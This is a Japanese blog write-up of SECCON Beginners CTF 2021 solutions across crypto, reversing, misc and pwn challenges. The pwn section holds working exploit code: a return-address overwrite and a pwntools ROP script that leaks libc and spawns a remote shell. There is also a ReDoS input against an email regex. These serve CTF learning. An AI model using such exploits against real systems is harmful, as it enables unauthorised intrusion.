amaga38のブログ

twitter: @amaga38

SECCON Beginners CTF 2021 write-up

2021/5/22 14:00 - 5/23 14:00 (JST) で開催されたSECCON Beginners CTFに参加したので解けた問題のwrite-upです。チームとしては、whitecatsとして参加して1689pt (85位)でした。Web問はチームメイトにお任せして、Pwnに頭を悩ませながら他の問題を解いてました。

https://score.beginners.azure.noc.seccon.jp/

Crypto

simple_RSA

Let's encrypt it with RSA! 問題のプログラム

from Crypto.Util.number import *
from flag import flag

flag = bytes_to_long(flag.encode("utf-8"))

p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 3

assert 2046 < n.bit_length()
assert 375 == flag.bit_length()

print("n =", n)
print("e =", e)
print("c =", pow(flag, e, n))

eが小さいので、「RSA e 小さい」でGoogle検索してでてきたブログ(ももいろテクノロジー:plain RSAに対する攻撃手法を実装してみる)を参考にソルバー作成。

import sys
import gmpy
from Crypto.Util.number import *
def root_e(c, e, n):
    bound = gmpy.root(n, e)[0]
    m = gmpy.root(c, e)[0]
    return m, bound
if __name__ == '__main__':
    n = 17686671842400393574730512034200128521336919569735972791676605056286778473230718426958508878942631584704817342304959293060507614074800553670579033399679041334863156902030934895197677543142202110781629494451453351396962137377411477899492555830982701449692561594175162623580987453151328408850116454058162370273736356068319648567105512452893736866939200297071602994288258295231751117991408160569998347640357251625243671483903597718500241970108698224998200840245865354411520826506950733058870602392209113565367230443261205476636664049066621093558272244061778795051583920491406620090704660526753969180791952189324046618283
    e = 3
    c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613
    m, bound = root_e(c, e, n)
    print("%d (possible solution under %d)" % (m, bound))
    print(long_to_bytes(m))

Flag: ctf4b{0,1,10,11...It's_so_annoying.___I'm_done}

Logical_SEESAW

We have an innovative seesaw!

問題のプログラム

from Crypto.Util.number import *
from random import random, getrandbits
from flag import flag

flag = bytes_to_long(flag.encode("utf-8"))
length = flag.bit_length()
key = getrandbits(length)
while not length == key.bit_length():
    key = getrandbits(length)

flag = list(bin(flag)[2:])
key = list(bin(key)[2:])

cipher_L = []

for _ in range(16):
    cipher = flag[:]
    m = 0.5
    
    for i in range(length):
        n = random()
        if n > m:
            cipher[i] = str(eval(cipher[i] + "&" + key[i]))
            
    cipher_L.append("".join(cipher))


print("cipher =", cipher_L)

フラグと同じbit数の鍵が用意され、1/2の確率でフラグと&演算される。&演算なので、元々0のbitは変化しない。あとは、1のbitを調整すればOK。暗号化されたbit文字列を16個提供されるので、同じ個所のbitで1になっているものが多ければ、元々1だっただろうとあたりをつけるソルバーを作った。

from Crypto.Util.number import *
from output import cipher

#with open('output.txt', 'r') as f:
#    cipher = readline()

#   m 0 1
# --------
# k 0 0 0 0.5
#   1 0 1 
#   - 0 1 0.5

print(cipher)
length = len(cipher[0])

ans = b''
for i in range(length):
    cnt = 0
    for j in range(16):
        cnt += int(cipher[j][i])
    
    if cnt == 0:
        ans += b'0'
    else:
        if cnt / 16 > 0.3:
            ans += b'1'
        else:
            ans += b'0'
print(ans)
print(long_to_bytes(int(ans, 2)))

Flag: ctf4b{Sh3_54w_4_SEESAW,_5h3_54id_50}

Rev

only_read

バイナリ読めなきゃやばいなり〜

disasemmble すると、main関数で文字列を1文字1文字比較する処理がある。比較している値を順番につなげるだけ。

    11e4:       3c 63                   cmp    al,0x63
    11e6:       0f 85 da 00 00 00       jne    12c6 <main+0x13d>
    11ec:       0f b6 45 e1             movzx  eax,BYTE PTR [rbp-0x1f]
    11f0:       3c 74                   cmp    al,0x74
    11f2:       0f 85 ce 00 00 00       jne    12c6 <main+0x13d>
    11f8:       0f b6 45 e2             movzx  eax,BYTE PTR [rbp-0x1e]
    11fc:       3c 66                   cmp    al,0x66
    11fe:       0f 85 c2 00 00 00       jne    12c6 <main+0x13d>
    1204:       0f b6 45 e3             movzx  eax,BYTE PTR [rbp-0x1d]
    1208:       3c 34                   cmp    al,0x34
    120a:       0f 85 b6 00 00 00       jne    12c6 <main+0x13d>
    1210:       0f b6 45 e4             movzx  eax,BYTE PTR [rbp-0x1c]
    1214:       3c 62                   cmp    al,0x62
    1216:       0f 85 aa 00 00 00       jne    12c6 <main+0x13d>
    121c:       0f b6 45 e5             movzx  eax,BYTE PTR [rbp-0x1b]
    1220:       3c 7b                   cmp    al,0x7b
    1222:       0f 85 9e 00 00 00       jne    12c6 <main+0x13d>
    1228:       0f b6 45 e6             movzx  eax,BYTE PTR [rbp-0x1a]
    122c:       3c 63                   cmp    al,0x63
    122e:       0f 85 92 00 00 00       jne    12c6 <main+0x13d>
    1234:       0f b6 45 e7             movzx  eax,BYTE PTR [rbp-0x19]
    1238:       3c 30                   cmp    al,0x30
    123a:       0f 85 86 00 00 00       jne    12c6 <main+0x13d>
    1240:       0f b6 45 e8             movzx  eax,BYTE PTR [rbp-0x18]
    1244:       3c 6e                   cmp    al,0x6e
    1246:       75 7e                   jne    12c6 <main+0x13d>
    1248:       0f b6 45 e9             movzx  eax,BYTE PTR [rbp-0x17]
    124c:       3c 35                   cmp    al,0x35
    124e:       75 76                   jne    12c6 <main+0x13d>
    1250:       0f b6 45 ea             movzx  eax,BYTE PTR [rbp-0x16]
    1254:       3c 74                   cmp    al,0x74
    1256:       75 6e                   jne    12c6 <main+0x13d>
    1258:       0f b6 45 eb             movzx  eax,BYTE PTR [rbp-0x15]
    125c:       3c 34                   cmp    al,0x34
    125e:       75 66                   jne    12c6 <main+0x13d>
    1260:       0f b6 45 ec             movzx  eax,BYTE PTR [rbp-0x14]
    1264:       3c 6e                   cmp    al,0x6e
    1266:       75 5e                   jne    12c6 <main+0x13d>
    1268:       0f b6 45 ed             movzx  eax,BYTE PTR [rbp-0x13]
    126c:       3c 74                   cmp    al,0x74
    126e:       75 56                   jne    12c6 <main+0x13d>
    1270:       0f b6 45 ee             movzx  eax,BYTE PTR [rbp-0x12]
    1274:       3c 5f                   cmp    al,0x5f
    1276:       75 4e                   jne    12c6 <main+0x13d>
    1278:       0f b6 45 ef             movzx  eax,BYTE PTR [rbp-0x11]
    127c:       3c 66                   cmp    al,0x66
    127e:       75 46                   jne    12c6 <main+0x13d>
    1280:       0f b6 45 f0             movzx  eax,BYTE PTR [rbp-0x10]
    1284:       3c 30                   cmp    al,0x30
    1286:       75 3e                   jne    12c6 <main+0x13d>
    1288:       0f b6 45 f1             movzx  eax,BYTE PTR [rbp-0xf]
    128c:       3c 6c                   cmp    al,0x6c
    128e:       75 36                   jne    12c6 <main+0x13d>
    1290:       0f b6 45 f2             movzx  eax,BYTE PTR [rbp-0xe]
    1294:       3c 64                   cmp    al,0x64
    1296:       75 2e                   jne    12c6 <main+0x13d>
    1298:       0f b6 45 f3             movzx  eax,BYTE PTR [rbp-0xd]
    129c:       3c 31                   cmp    al,0x31
    129e:       75 26                   jne    12c6 <main+0x13d>
    12a0:       0f b6 45 f4             movzx  eax,BYTE PTR [rbp-0xc]
    12a4:       3c 6e                   cmp    al,0x6e
    12a6:       75 1e                   jne    12c6 <main+0x13d>
    12a8:       0f b6 45 f5             movzx  eax,BYTE PTR [rbp-0xb]
    12ac:       3c 67                   cmp    al,0x67
    12ae:       75 16                   jne    12c6 <main+0x13d>
    12b0:       0f b6 45 f6             movzx  eax,BYTE PTR [rbp-0xa]
    12b4:       3c 7d                   cmp    al,0x7d
>>> '\x63\x74\x66\x34\x62\x7b\x63\x30\x6e\x35\x74\x34\x6e\x74\x5f\x66\x30\x6c\x64\x31\x6e\x67\x7d'
'ctf4b{c0n5t4nt_f0ld1ng}'

Flag: ctf4b{c0n5t4nt_f0ld1ng}

children

これから10個の子プロセスを作るよ。 彼らの情報を正しく答えられたら、FLAGをあげるね。 ちなみに、子プロセスは追加の子プロセスを生む可能性があるから注意してね。

実行すると次々と生成される子プロセスのプロセスIDをきかれるので、逐一回答する。最後に作成した子プロセスの数を答える。

$ strace ./children
execve("./children", ["./children"], 0x7ffe90cbec50 /* 20 vars */) = 0
brk(NULL)                               = 0x55a0bf9bf000
arch_prctl(0x3001 /* ARCH_??? */, 0x7ffea6df9f00) = -1 EINVAL (Invalid argument)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=31138, ...}) = 0
mmap(NULL, 31138, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f4de6381000
close(3)                                = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\360q\2\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
pread64(3, "\4\0\0\0\20\0\0\0\5\0\0\0GNU\0\2\0\0\300\4\0\0\0\3\0\0\0\0\0\0\0", 32, 848) = 32
pread64(3, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0\t\233\222%\274\260\320\31\331\326\10\204\276X>\263"..., 68, 880) = 68
fstat(3, {st_mode=S_IFREG|0755, st_size=2029224, ...}) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f4de637f000
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
pread64(3, "\4\0\0\0\20\0\0\0\5\0\0\0GNU\0\2\0\0\300\4\0\0\0\3\0\0\0\0\0\0\0", 32, 848) = 32
pread64(3, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0\t\233\222%\274\260\320\31\331\326\10\204\276X>\263"..., 68, 880) = 68
mmap(NULL, 2036952, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f4de618d000
mprotect(0x7f4de61b2000, 1847296, PROT_NONE) = 0
mmap(0x7f4de61b2000, 1540096, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x25000) = 0x7f4de61b2000
mmap(0x7f4de632a000, 303104, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x19d000) = 0x7f4de632a000
mmap(0x7f4de6375000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e7000) = 0x7f4de6375000
mmap(0x7f4de637b000, 13528, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f4de637b000
close(3)                                = 0
arch_prctl(ARCH_SET_FS, 0x7f4de6380540) = 0
mprotect(0x7f4de6375000, 12288, PROT_READ) = 0
mprotect(0x55a0be1ac000, 4096, PROT_READ) = 0
mprotect(0x7f4de63b6000, 4096, PROT_READ) = 0
munmap(0x7f4de6381000, 31138)           = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x4), ...}) = 0
brk(NULL)                               = 0x55a0bf9bf000
brk(0x55a0bf9e0000)                     = 0x55a0bf9e0000
write(1, "I will generate 10 child process"..., 36I will generate 10 child processes.
) = 36
write(1, "They also might generate additio"..., 51They also might generate additional child process.
) = 51
write(1, "Please tell me each process id i"..., 58Please tell me each process id in order to identify them!
) = 58
write(1, "\n", 1
)                       = 1
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12696
write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12696, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
fstat(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x4), ...}) = 0
read(0, 12696
"12696\n", 1024)                = 6
write(1, "ok\n", 3ok
)                     = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12697
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = ? ERESTARTNOINTR (To be restarted)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12697, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12698
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12698, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12698
"12698\n", 1024)                = 6
write(1, "ok\n", 3ok
)                     = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12699
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = ? ERESTARTNOINTR (To be restarted)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12699, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12700
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12700, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12700
"12700\n", 1024)                = 6
write(1, "ok\n", 3ok
)                     = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12701
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12701, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12701
"12701\n", 1024)                = 6
write(1, "ok\n", 3ok
)                     = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12702
write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12702, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12702
"12702\n", 1024)                = 6
write(1, "ok\n", 3ok
)                     = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12703
write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12703, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12703
"12703\n", 1024)                = 6
write(1, "ok\n", 3ok
)                     = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12704
write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12704, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12704
"12704\n", 1024)                = 6
write(1, "ok\n", 3ok
)                     = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12705
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12706
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12705, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12706, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12706
"12706\n", 1024)                = 6
write(1, "ok\n", 3ok
)                     = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12707
write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12707, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12707
"12707\n", 1024)                = 6
write(1, "ok\n", 3ok
)                     = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12708
write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12708, si_uid=1000, si_status=1, si_utime=0, si_stime=1} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12708
"12708\n", 1024)                = 6
write(1, "ok\n", 3ok
)                     = 3
wait4(-1, NULL, 0, NULL)                = 12696
write(1, "How many children were born?\n", 29How many children were born?
) = 29
read(0, 13
"13\n", 1024)                   = 3
write(1, "ctf4b{p0werfu1_tr4sing_t0015_15_"..., 40ctf4b{p0werfu1_tr4sing_t0015_15_usefu1}       ) = 40
lseek(0, -1, SEEK_CUR)                  = -1 ESPIPE (Illegal seek)
exit_group(0)                           = ?
+++ exited with 0 +++

手始めにstraceで挙動を見ながら動かして回答してたら最後まで正解できたので、フラグゲット。

Flag: ctf4b{p0werfu1_tr4sing_t0015_15_usefu1}

please_not_trace_me

フラグを復号してくれるのは良いけど,表示してくれない!!

ptraceが2回呼ばれているけど、1回目はreturn -1、2回目はreturn 0してあげれば、チェック処理は終了する。gdbで実行して、ptraceにbreakpointを設定し、呼ばれたところでreturn -1とかしてあげればOK。フラグのdecrypt処理が進み、rc4で復号された文字をメモリ上から読んで終了。

Flag: ctf4b{d1d_y0u_d3crypt_rc4?}

Misc

Mail_Address_Validator

あなたのメールアドレスが正しいか調べます.

nc mail-address-validator.quals.beginners.seccon.jp 5100

#!/usr/bin/env ruby
require 'timeout'

$stdout.sync = true
$stdin.sync = true

pattern = /\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i

begin
  Timeout.timeout(60) {
    Process.wait Process.fork {
      puts "I check your mail address."
      puts "please puts your mail address."
      input = gets.chomp
      begin
        Timeout.timeout(5) {
          if input =~ pattern
            puts "Valid mail address!"
          else
            puts "Invalid mail address!"
          end
        }
      rescue Timeout::Error
        exit(status=14)
      end
    }
    
    case Process.last_status.to_i >> 8
    when 0 then
      puts "bye."
    when 1 then
      puts "bye."
    when 14 then
      File.open("flag.txt", "r") do |f|
        puts f.read
      end
    else
      puts "What's happen?"
    end
  } 
rescue Timeout::Error
  puts "bye."
end

最近よく聞くReDoSやぁと思いながら、Google検索。参考になりそうなサイトを見つけて、確認用の文字列そのまま使わせてもらった。(yohgaki's blog: 正規表現でのメールアドレスチェックは見直すべき – ReDoS)

>>> a = "secconbeginner@host"+".abcde"*10
>>> a
'secconbeginner@host.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde'
>>> a + "."
'secconbeginner@host.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.'
$ nc mail-address-validator.quals.beginners.seccon.jp 5100
I check your mail address.
please puts your mail address.
secconbeginner@host.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.
ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}

Flag: ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}

Pwn

rewriter

任意のアドレスの値を書き換えたい時,ありますよね?

nc rewriter.quals.beginners.seccon.jp 4103

コード抜粋

void win() {
    execve("/bin/cat", (char*[3]){"/bin/cat", "flag.txt", NULL}, NULL);
}

int main() {
    unsigned long target = 0, value = 0;
    char buf[BUFF_SIZE] = {0};
    show_stack(buf);
    printf("Where would you like to rewrite it?\n> ");
    buf[read(STDIN_FILENO, buf, BUFF_SIZE-1)] = 0;
    target = strtol(buf, NULL, 0);
    printf("0x%016lx = ", target);
    buf[read(STDIN_FILENO, buf, BUFF_SIZE-1)] = 0;
    value = strtol(buf, NULL, 0);
    *(long*)target = value;
}

*(long*)target = value; ここで標準入力で指定したアドレスに指定の値を代入してくれる。win関数のアドレスが0x04011f6 なのでret addrをwin関数のアドレスで上書きしてもらう。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
$ nc rewriter.quals.beginners.seccon.jp 4103
[Addr]              |[Value]
====================+===================
 0x00007ffef60d8e90 | 0x0000000000000000  <- buf
 0x00007ffef60d8e98 | 0x0000000000000000
 0x00007ffef60d8ea0 | 0x0000000000000000
 0x00007ffef60d8ea8 | 0x0000000000000000
 0x00007ffef60d8eb0 | 0x0000000000000000  <- target
 0x00007ffef60d8eb8 | 0x0000000000000000  <- value
 0x00007ffef60d8ec0 | 0x0000000000401520  <- saved rbp
 0x00007ffef60d8ec8 | 0x00007f58721f6bf7  <- saved ret addr
 0x00007ffef60d8ed0 | 0x0000000000000001
 0x00007ffef60d8ed8 | 0x00007ffef60d8fa8

Where would you like to rewrite it?
> 140733026504392
0x00007ffef60d8ec8 = 4198902

[Addr]              |[Value]
====================+===================
 0x00007ffef60d8e90 | 0x0a32303938393134  <- buf
 0x00007ffef60d8e98 | 0x0a32393334303500
 0x00007ffef60d8ea0 | 0x0000000000000000
 0x00007ffef60d8ea8 | 0x0000000000000000
 0x00007ffef60d8eb0 | 0x00000000004011f6  <- target
 0x00007ffef60d8eb8 | 0x00007ffef60d8ec8  <- value
 0x00007ffef60d8ec0 | 0x0000000000401520  <- saved rbp
 0x00007ffef60d8ec8 | 0x00000000004011f6  <- saved ret addr
 0x00007ffef60d8ed0 | 0x0000000000000001
 0x00007ffef60d8ed8 | 0x00007ffef60d8fa8

ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}

Flag: ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}

beginners_rop

Do you like programming?

Did you know Return Oriented Programming?

nc beginners-rop.quals.beginners.seccon.jp 4102

コード抜粋

#include <stdio.h>
#include <unistd.h>
char *gets(char *s);
int main() {
    char str[0x100];
    gets(str);
    puts(str);
}
__attribute__((constructor))
void setup() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}

getsで標準入力から入力を受け付けるのでバッファオバーフローのバグがある。タイトルどおりROPを頑張るだけ。

from pwn import *

srv = 'beginners-rop.quals.beginners.seccon.jp'
port = 4102
bin = ELF('./chall')
libc = ELF('./libc-2.27.so')

#conn = process(bin.path)
# '''
#b *0x000215bf
#continue
#''')
conn = remote(srv, port)

payload = b'A' * 0x100
payload += b'B' * 8

"""
$ readelf -S ./chall
There are 31 section headers, starting at offset 0x3ab0:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
       :
  [13] .plt              PROGBITS         0000000000401020  00001020
       0000000000000050  0000000000000010  AX       0     0     16
  [14] .plt.sec          PROGBITS         0000000000401070  00001070
       0000000000000040  0000000000000010  AX       0     0     16
  [15] .text             PROGBITS         00000000004010b0  000010b0
       00000000000001e5  0000000000000000  AX       0     0     16
       :
  [23] .got              PROGBITS         0000000000403ff0  00002ff0
       0000000000000010  0000000000000008  WA       0     0     8
  [24] .got.plt          PROGBITS         0000000000404000  00003000
       0000000000000038  0000000000000008  WA       0     0     8
  [25] .data             PROGBITS         0000000000404038  00003038
       0000000000000010  0000000000000000  WA       0     0     8
  [26] .bss              NOBITS           0000000000404050  00003048
       0000000000000020  0000000000000000  WA       0     0     16
"""

addr_main = 0x401196
addr_puts_got = bin.got['puts'] #  0x404018
addr_puts_plt = bin.plt['puts'] #  0x401070
addr_gets_plt = bin.plt['gets']
addr_bss = 0x404050


# ROP gadget
pop_rdi = 0x00401283


# $ nm -D libc-2.27.so |grep puts
# 0000000000080aa0 W puts

# ROPの中で
# 1-1. putsを呼び、putsのアドレスを調べる
# 1-2. system関数のアドレスを逆算
# 1-3. mainを再度呼ぶ
# 
# 2-1. bssのアドレスをrdiにセットしてgetsを呼ぶ
# 2-2. getsに対して'/bin/sh'を送信
# 2-3. bssの'/bin/sh'を利用してsystem関数呼び出し


# 1st ROP
# set got(puts) to rdi
payload += p64(pop_rdi)
payload += p64(addr_puts_got)
# call puts(got(puts))
payload += p64(addr_puts_plt)
# re-call main
payload += p64(addr_main)

conn.sendline(payload)
conn.recvline()  # garbage

# get leaked puts got-address
leaked_puts_got = conn.recvline().rstrip()
if len(leaked_puts_got) < 8:
    leaked_puts_got += b'\x00' * (8 - len(leaked_puts_got))

print('puts GOT:', hex(u64(leaked_puts_got)))
leaked_puts = u64(leaked_puts_got)

# calculate libc's base address
libc_base = leaked_puts - libc.symbols['puts']
addr_system = libc_base + libc.symbols['system']


# 2nd rop
payload = b'A' * 0x100
payload += b'B' * 8

# set bss addr to rdi
payload += p64(pop_rdi)
payload += p64(addr_bss)
# call gets(rdi); // scan '/bin/sh\0' from stdin
payload += p64(addr_gets_plt)
# set bss addr to rdi ('/bin/sh\0')
payload += p64(pop_rdi)
payload += p64(addr_bss)
# call system(rdi)
payload += p64(addr_system)

conn.sendline(payload)
c = conn.recvline()  # garbage
print(c)
conn.sendline('/bin/sh') # getsへ'/bin/sh'を送る
conn.interactive()

'''
$ python3 solve.py
[*] '/mnt/d/CTF/SECCON_Beginners_CTF_2021/pwn/beginners_rop/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/mnt/d/CTF/SECCON_Beginners_CTF_2021/pwn/beginners_rop/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to beginners-rop.quals.beginners.seccon.jp on port 4102: Done
puts GOT: 0x7f91bbf8baa0
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\x83\x12@\n'
[*] Switching to interactive mode
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{H4rd_ROP_c4f3}$
'''

Flag: ctf4b{H4rd_ROP_c4f3}

以上です!運営のみなさんお疲れさまでした!開催ありがとうございます!

※ヒープ問にヨワヨワなので、ヒープ問の復習しないと。